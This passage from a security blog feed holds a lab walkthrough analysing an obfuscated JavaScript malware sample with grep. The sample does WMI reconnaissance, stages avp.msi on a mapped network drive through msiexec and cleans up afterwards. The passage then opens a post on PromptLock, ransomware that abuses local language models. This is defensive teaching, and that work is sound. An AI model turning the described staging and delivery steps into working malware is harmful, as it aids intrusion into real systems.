the insertion of numerous misleading comments, variable renaming, and string encoding. Your task is to analyze the obfuscated JavaScript code, identify the obfuscation techniques used, and determine if any malicious code has been inserted.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-activexobject-created-in-thescript&#34;&gt;Question 1: What is the name of the ActiveXObject created in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation by extracting the sample from &lt;code&gt;sample.7z&lt;/code&gt;. This leaves us with an appropriately named text file, &lt;code&gt;sample&lt;/code&gt;, which contains the obfuscated JavaScript we&amp;rsquo;re going to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/8e6e5ae8c00938427ce49e4974c221ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts.&lt;/p&gt;&#xA;&lt;p&gt;Just to get an idea of what we&amp;rsquo;re working with, go ahead and open the file in the text editor provided by the &lt;strong&gt;LetsDefend&lt;/strong&gt; environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;418px&#34; data-flex-grow=&#34;174&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/d0d2897f94d286824024c6ba4125781b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the sample in a text editor&lt;/p&gt;&#xA;&lt;p&gt;Yikes, it&amp;rsquo;s a mess! Under normal circumstances, we might start this workflow by throwing the script into &lt;strong&gt;CyberChef&lt;/strong&gt; or another deobfuscation tool. This time, though, we&amp;rsquo;re deliberately limiting ourselves to what&amp;rsquo;s provided in the analysis environment. So, no automated tooling and no internet access. But, what we do have is the terminal and familiar Linux utilities like &lt;code&gt;grep&lt;/code&gt;, which can still take us surprisingly far (&lt;em&gt;like the whole way&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;So, instead of trying to deobfuscate everything at once, we can find our footing by looking for recognizable patterns. For &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re specifically asked to identify the &lt;em&gt;ActiveXObject&lt;/em&gt; created in the script. That gives us a clear string to hunt for.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start by printing the contents of the sample to the terminal, piping the output into &lt;code&gt;grep&lt;/code&gt;, and using the &lt;code&gt;-i&lt;/code&gt; flag to ignore case and simply searching for &amp;quot; # &amp;ldquo;activex_.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;activex&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Running this command highlights a handful of non-obfuscated lines buried in the noise. Among them, we find the following code:&lt;/p&gt;&#xA;&lt;p&gt;new ActiveXObject(&amp;ldquo;WScript.Network&amp;rdquo;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;692px&#34; data-flex-grow=&#34;288&#34; height=&#34;254&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/502a0cd6ad01efc4d931eba39ad6429b_MD5.png&#34; width=&#34;733&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Using grep to identify &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;activeX&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;This tells us that the script leverages the &lt;em&gt;ActiveXObject&lt;/em&gt; named &amp;ldquo;WScript.Network&amp;rdquo;. From the limited context we have so far, this suggests the script might be performing basic network enumeration, such as retrieving the computer name, domain membership, or mapped network drives.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve found some early reconnaissance behavior, let&amp;rsquo;s dig in further to see what else we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/b602c5dab96300923367da2f4c1a564d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-wmi-namespace-is-accessed-in-thescript&#34;&gt;Question 2: What WMI namespace is accessed in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to identify which Windows Management Instrumentation, or &lt;strong&gt;WMI&lt;/strong&gt;, namespace the script accesses. WMI namespaces are essentially logical containers that group related management classes (like components) together. Understanding which namespace is in use helps us infer what kinds of system information the script is aiming to collect.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll tackle this the same way we did in &lt;strong&gt;Question 1&lt;/strong&gt; by narrowing our focus with &lt;code&gt;grep&lt;/code&gt;. This time, instead of searching for &lt;em&gt;ActiveX&lt;/em&gt;, we&amp;rsquo;ll key in on &lt;em&gt;WMI&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;WMI&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;864px&#34; data-flex-grow=&#34;360&#34; height=&#34;222&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/f3fac997d411d2d777bfe96970de6d4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the WMI namespace with grep&lt;/p&gt;&#xA;&lt;p&gt;This output gives us a bit more to work with. Right on the first matching line, we can see evidence that the script is interacting with the &lt;code&gt;root\\CIMV2&lt;/code&gt; namespace.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft&lt;/a&gt;, &amp;ldquo;root\CIMV2&amp;quot;is the default and one of the most commonly used WMI namespaces. It exposes a broad set of system and hardware-related classes, allowing scripts to query information about things like disks, running processes, memory, operating system details, and more.&lt;/p&gt;&#xA;&lt;p&gt;While this isn&amp;rsquo;t inherently malicious, it seems like we&amp;rsquo;ve stumbled across more potential reconnaissance activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/0614910d0181f1db57f9c8ac7d8008b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-initial-value-of-the-attempt-variable-in-thescript&#34;&gt;Question 3: What is the initial value of the attempt variable in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along to &lt;strong&gt;Question 3&lt;/strong&gt;, we need to identify the initial value of the &lt;code&gt;attempt&lt;/code&gt; variable in the script. At this point, we&amp;rsquo;re already comfortable leveraging some lightweight pattern matching, so we&amp;rsquo;ll continue leaning on the terminal and &lt;em&gt;grep&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This time, we&amp;rsquo;ll broaden the search scope slightly by looking for all variable declarations. In this sample, the obfuscation conveniently leaves &lt;code&gt;/var&lt;/code&gt; as a recurring pattern, which makes it a useful anchor for limiting our output:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;/var&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1315px&#34; data-flex-grow=&#34;547&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/0059aedf9ec3a3e035cc7332fa7a77a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the attempt variable&lt;/p&gt;&#xA;&lt;p&gt;Voila! This approach yields a small set of variables without overwhelming us with too much noise. Scanning through the output, we&amp;rsquo;ll spot the definition of the &lt;code&gt;attempt&lt;/code&gt; variable with a value of &lt;code&gt;0&lt;/code&gt;, suggesting it might be used as some kind of counter or control variable later in the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/835f1433de1e821f9aff8d5baa3436fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-function-is-used-to-enumerate-network-drives-in-thescript&#34;&gt;Question 4: What function is used to enumerate network drives in the script?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve got a rhythm down now. Remember back in &lt;strong&gt;Question 1&lt;/strong&gt;, where we stumbled across early evidence of network reconnaissance activity tied to &lt;em&gt;WScript.Network&lt;/em&gt;? For &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll pivot back to that thread and broaden our search.&lt;/p&gt;&#xA;&lt;p&gt;This time, we&amp;rsquo;ll hunt for references to &lt;em&gt;network&lt;/em&gt; more generally and see what turns up:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;network&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/f0f4c14e771ea63bbbc60bb9c709ddf4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the network drive enumeration&lt;/p&gt;&#xA;&lt;p&gt;The output here is a bit noisier than before, but if you scan through the results, the third returned line stands out. That&amp;rsquo;s where we see a call to the &lt;code&gt;network.MapNetworkDrive&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;This lines up nice and tidy with the &lt;em&gt;WScript.Network&lt;/em&gt; object we identified earlier. Put together, it gives us solid evidence that the script is interacting with mapped network drives. Whether it&amp;rsquo;s enumerating existing mappings, creating new ones, or abusing them for lateral movement is something we&amp;rsquo;ll need to confirm by looking at how this function is used elsewhere in the code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/5564d268d47164d9b60fb9a6ca061401_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-how-long-does-the-script-wait-in-milliseconds-after-executing-the-net-usecommand&#34;&gt;Question 5: How long does the script wait (in milliseconds) after executing the net use command?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, we need to determine the waiting period defined in the script after executing the &lt;code&gt;net use&lt;/code&gt; command. At first glance, it seems reasonable to search directly for the command itself. I tried grepping for &amp;ldquo;net use&amp;quot;first, but as you can see, that didn&amp;rsquo;t quite get us where we needed to go.&lt;/p&gt;&#xA;&lt;p&gt;Instead, we need to zoom out slightly and look for broader timing-related evidence. In this case, the string &amp;ldquo;starttime&amp;quot;turns out to be a much better anchor:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;starttime&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/877657a37c4fe2e4dcd0a948424a5a10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the wait time&lt;/p&gt;&#xA;&lt;p&gt;This output reveals the delay logic implemented by the script. Based on the value assigned and how it&amp;rsquo;s used, we can see that the script waits &lt;code&gt;3000&lt;/code&gt; milliseconds after executing the &lt;code&gt;net use&lt;/code&gt; command to map a non-persistent network drive.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a short pause before the script continues, giving the mapped network drive time to become available before potentially being leveraged for staging additional payloads or collecting data for exfiltration. Let&amp;rsquo;s keep going and build out more context.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/88a9e28475c2b4258cb8d229d64195de_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-msi-package-used-for-installation-in-the-scriptcalled&#34;&gt;Question 6: What is the MSI package used for installation in the script called?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, we need to identify the MSI package referenced in the script for the next stage of execution. Since the question explicitly mentions &lt;em&gt;installation&lt;/em&gt;, it makes more sense to search for the Windows Installer utility itself rather than hunting blindly for &lt;code&gt;.msi&lt;/code&gt; strings.&lt;/p&gt;&#xA;&lt;p&gt;Instead, we&amp;rsquo;ll look for &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;msiexec&lt;/em&gt;&lt;/a&gt;, the command-line tool commonly used to install MSI packages on Windows systems:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;msiexec.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/86e881d6334f1a6caeac61e16b8876d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the package through msiexec&lt;/p&gt;&#xA;&lt;p&gt;Bingo. This immediately surfaces the relevant line in the script. From the command arguments, we can see that the installer being executed is &lt;code&gt;avp.msi&lt;/code&gt;, and it&amp;rsquo;s being launched directly from the mapped network share we identified earlier.&lt;/p&gt;&#xA;&lt;p&gt;This ties back nicely to our observations in &lt;strong&gt;Question 5&lt;/strong&gt;. We speculated that the mapped drive could be used for malware staging, and seeing &lt;code&gt;avp.msi&lt;/code&gt; hosted on that share gives us increased confidence though we don&amp;rsquo;t have any firm evidence that it&amp;rsquo;s malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1669px&#34; data-flex-grow=&#34;695&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/f8fb3ac314b95e19ee844cc1f314485e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-final-output-message-if-the-network-drive-removal-fails-in-thescript&#34;&gt;Question 7: What is the final output message if the network drive removal fails in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Coming into the home stretch, the question tells us that the script attempts to remove the mapped network drive and displays a message if that operation fails.&lt;/p&gt;&#xA;&lt;p&gt;To track this down, we can keep things simple and adjust our &lt;code&gt;grep&lt;/code&gt; filter to look for failure-related strings:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;fail&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/5f1310db8076c4d8936768a71bded6f6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the failure message&lt;/p&gt;&#xA;&lt;p&gt;This quickly surfaces a message associated with the network drive cleanup logic.&lt;/p&gt;&#xA;&lt;p&gt;From this, we can infer that after the MSI payload is executed, the script attempts to disconnect the staging area. If that removal fails, a failure message is displayed. This kind of cleanup behavior is likely an effort to remove artifacts and reduce the forensic footprint.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/572c595578a57677226b82e948cd837b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-function-is-used-to-check-if-a-drive-is-mapped-in-thescript&#34;&gt;Question 8: What function is used to check if a drive is mapped in the script?&#xA;&lt;/h3&gt;&lt;p&gt;For the last question, we&amp;rsquo;ll follow a similar approach to the previous one. The prompt tells us there&amp;rsquo;s a function in the script responsible for checking whether a network drive is mapped, so we already have a nice hint about what to look for.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s gather a bit more information by grepping for keywords related to drive mappings:&lt;/p&gt;&#xA;&lt;p&gt;cat sample | grep -i &amp;ldquo;mapped&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/766c781af6c3c7032823b0e0f132451e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Identifying the isDriveMapped function&lt;/p&gt;&#xA;&lt;p&gt;From this, we can see that the function &lt;code&gt;isDriveMapped&lt;/code&gt; is used to determine whether a specific drive letter is already mapped, making it easy for the rest of the script to reference and reuse that information during execution.&lt;/p&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s all she wrote. This wraps up the analysis and confirms that the script includes logic not just to map and remove network drives, but also to track their state along the way. Great job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/50ed8a37a95329b2db3e3227f3f0b4a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;540px&#34; data-flex-grow=&#34;225&#34; height=&#34;355&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/6a76ab3d06ebcd7e4ea9c747abb8a279_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that? A big thank you to &lt;strong&gt;LetsDefend&lt;/strong&gt; for another solid challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a great reminder that you don&amp;rsquo;t need advanced reverse engineering skills to extract meaningful insight from a suspicious script. By leaning on static analysis, pattern matching, and some inference from the questions, we were able to uncover suspicious functionality in the script, including host reconnaissance, network drive staging, payload delivery, and cleanup behavior, using nothing more than a terminal and a text editor.&lt;/p&gt;&#xA;&lt;p&gt;For me, this challenge was just as much about exposure to different kinds of malware as it was about answering the questions. Obfuscated JavaScript isn&amp;rsquo;t at the top of my skillset, but working through this scenario highlighted the value of breaking things down, following the artifacts, and letting the script tell the story.&lt;/p&gt;&#xA;&lt;p&gt;It also feels less hypothetical than it might have a few years ago. Script-based malware is still very much alive, and it&amp;rsquo;s the sort of activity defenders continue to encounter in real web environments. Getting comfortable with these patterns, even in a lab setting, pays dividends when similar behaviors show up during incident response or threat hunting.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and for partnering with me on this investigation. If this walkthrough helped you over a stumbling block, sharpened your analysis skills, or gave you a new way to approach obfuscated scripts, please give it a clap and consider following me. Your feedback keeps me motivated, and it genuinely helps me support your security journey.&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge, stay curious and be safe out there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-javascript-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-javascript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/obfuscated-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — about_WMI:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — msiexec:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  — AI-Powered Ransomware Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/</link>
            <pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  — AI-Powered Ransomware Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-ai-powered-ransomware-challenge-walkthrough&#34;&gt;LetsDefend: AI-Powered Ransomware Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;reverse-engineering-promptlock-static-analysis-of-ai-powered-ransomware-using-ghidra-die-andpestudio&#34;&gt;Reverse Engineering PromptLock: Static Analysis of AI-Powered Ransomware Using Ghidra, DiE, and PeStudio&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ai-powered-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ai-powered-ransomware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough. If you&amp;rsquo;ve stumbled across this blog while looking for a step-by-step guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ai-powered-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AI-Powered Ransomware&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; you&amp;rsquo;re in the right place. This week&amp;rsquo;s scenario pushes into unfamiliar territory for me, combining traditional malware analysis with local AI model abuse, and that makes it a great opportunity to slow down, ask questions, and learn together.&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we&amp;rsquo;re tasked with analyzing &lt;strong&gt;PromptLock&lt;/strong&gt;, a cross-platform ransomware sample written in &lt;strong&gt;Go&lt;/strong&gt; that leverages local large language models to generate malicious scripts on the fly.&lt;/p&gt;&#xA;&lt;p&gt;Because this is still a growth area for me, this walkthrough leans into methodical static analysis rather than a deep dive with hero-level reversing. Using tools like &lt;strong&gt;Ghidra&lt;/strong&gt;, &lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt;, and &lt;strong&gt;PeStudio&lt;/strong&gt;, we&amp;rsquo;ll pull apart the binary to answer focused questions about how PromptLock works. Along the way, there will absolutely be moments where we stumble or don&amp;rsquo;t take the most efficient path. That&amp;rsquo;s part of the learning process, and we&amp;rsquo;ll still get to the bottom of it.&lt;/p&gt;&#xA;&lt;p&gt;The goal here isn&amp;rsquo;t just to answer the challenge questions, but to build a repeatable workflow you can apply when you encounter unfamiliar malware techniques in the real world, especially as AI starts showing up in unexpected places. If this write-up helps you learn more about static analysis, local AI abuse, or simply gets you past a stumbling block of your own, I&amp;rsquo;m glad to help. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 